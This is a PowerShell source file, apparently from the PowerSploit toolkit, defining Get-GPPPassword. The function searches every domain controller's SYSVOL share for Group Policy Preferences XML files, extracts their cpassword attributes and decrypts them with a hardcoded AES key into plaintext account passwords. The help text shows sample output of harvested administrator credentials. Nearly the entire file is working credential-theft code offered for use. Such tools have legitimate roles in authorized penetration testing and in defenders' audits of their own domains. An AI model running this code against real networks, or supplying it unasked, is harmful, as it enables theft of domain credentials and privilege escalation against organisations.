function Get-GPPPassword
{
<#
.SYNOPSIS

    Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

    PowerSploit Function: Get-GPPPassword
    Author: Chris Campbell (@obscuresec)
    Mods by: @harmj0y
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    Version: 2.4.3

.DESCRIPTION

    Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.

.EXAMPLE

    PS C:\> Get-GPPPassword

    NewName   : [BLANK]
    Changed   : {2014-02-21 05:28:53}
    Passwords : {password12}
    UserNames : {test1}
    File      : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml

    NewName   : {mspresenters}
    Changed   : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
    Passwords : {Recycling*3ftw!, password123, password1234}
    UserNames : {Administrator (built-in), DummyAccount, dummy2}
    File      : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

    NewName   : [BLANK]
    Changed   : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
    Passwords : {password, password1234$}
    UserNames : {administrator, admin}
    File      : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml

    NewName   : [BLANK]
    Changed   : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
    Passwords : {password, read123}
    UserNames : {DEMO\Administrator, admin}
    File      : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml

.EXAMPLE

    PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

    password
    password12
    password123
    password1234
    password1234$
    read123
    Recycling*3ftw!

.LINK

    http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
    https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
    http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
    http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>

    [CmdletBinding()]
    Param ()

    #Some XML issues between versions
    Set-StrictMode -Version 2

    #define helper function that decodes and decrypts password
    function Get-DecryptedCpassword {
        [CmdletBinding()]
        Param (
            [string] $Cpassword
        )

        try {
            #Append appropriate padding based on string length
            $Mod = ($Cpassword.length % 4)

            switch ($Mod) {
            '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
            '2' {$Cpassword += ('=' * (4 - $Mod))}
            '3' {$Cpassword += ('=' * (4 - $Mod))}
            }

            $Base64Decoded = [Convert]::FromBase64String($Cpassword)

            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length)
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor()
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        }

        catch {Write-Error $Error[0]}
    }

    #define helper function to parse fields from xml files
    function Get-GPPInnerFields {
    [CmdletBinding()]
        Param (
            $File
        )

        try {

            $Filename = Split-Path $File -Leaf
            [xml] $Xml = Get-Content ($File)

            #declare empty arrays
            $Cpassword = @()
            $UserName = @()
            $NewName = @()
            $Changed = @()
            $Password = @()

            #check for password field
            if ($Xml.innerxml -like "*cpassword*"){

                Write-Verbose "Potential password in $File"

                switch ($Filename) {

                    'Groups.xml' {
                        $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }

                    'Services.xml' {
                        $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }

                    'Scheduledtasks.xml' {
                        $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }

                    'DataSources.xml' {
                        $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }

                    'Printers.xml' {
                        $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }

                    'Drives.xml' {
                        $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }
                }
           }

           foreach ($Pass in $Cpassword) {
               Write-Verbose "Decrypting $Pass"
               $DecryptedPassword = Get-DecryptedCpassword $Pass
               Write-Verbose "Decrypted a password of $DecryptedPassword"
               #append any new passwords to array
               $Password += , $DecryptedPassword
           }

            #put [BLANK] in variables
            if (!($Password)) {$Password = '[BLANK]'}
            if (!($UserName)) {$UserName = '[BLANK]'}
            if (!($Changed)) {$Changed = '[BLANK]'}
            if (!($NewName)) {$NewName = '[BLANK]'}

            #Create custom object to output results
            $ObjectProperties = @{'Passwords' = $Password;
                                  'UserNames' = $UserName;
                                  'Changed' = $Changed;
                                  'NewName' = $NewName;
                                  'File' = $File}

            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
            Write-Verbose "The password is between {} and may be more than one value."
            if ($ResultsObject) {Return $ResultsObject}
        }

        catch {Write-Error $Error[0]}
    }

    try {
        #ensure that machine is domain joined and script is running as a domain account
        if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
            throw 'Machine is not a domain member or User is not a member of the domain.'
        }

        $DomainControllers = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).DomainControllers | ForEach-Object {$_.Name}
        Write-Verbose "Domain controllers for current domain: $DomainControllers"

        $XMlFiles = @()
        foreach ($DomainController in $DomainControllers) {
            Write-Verbose "Searching $DomainController"
            #discover potential files containing passwords ; not complaining in case of denied access to a directory
            $XMlFiles += Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
        }

        if ( -not $XMlFiles ) {throw 'No preference files found.'}

        Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."

        foreach ($File in $XMLFiles) {
            $Result = (Get-GppInnerFields $File.Fullname)
            Write-Output $Result
        }
    }

    catch {Write-Error $Error[0]}
}
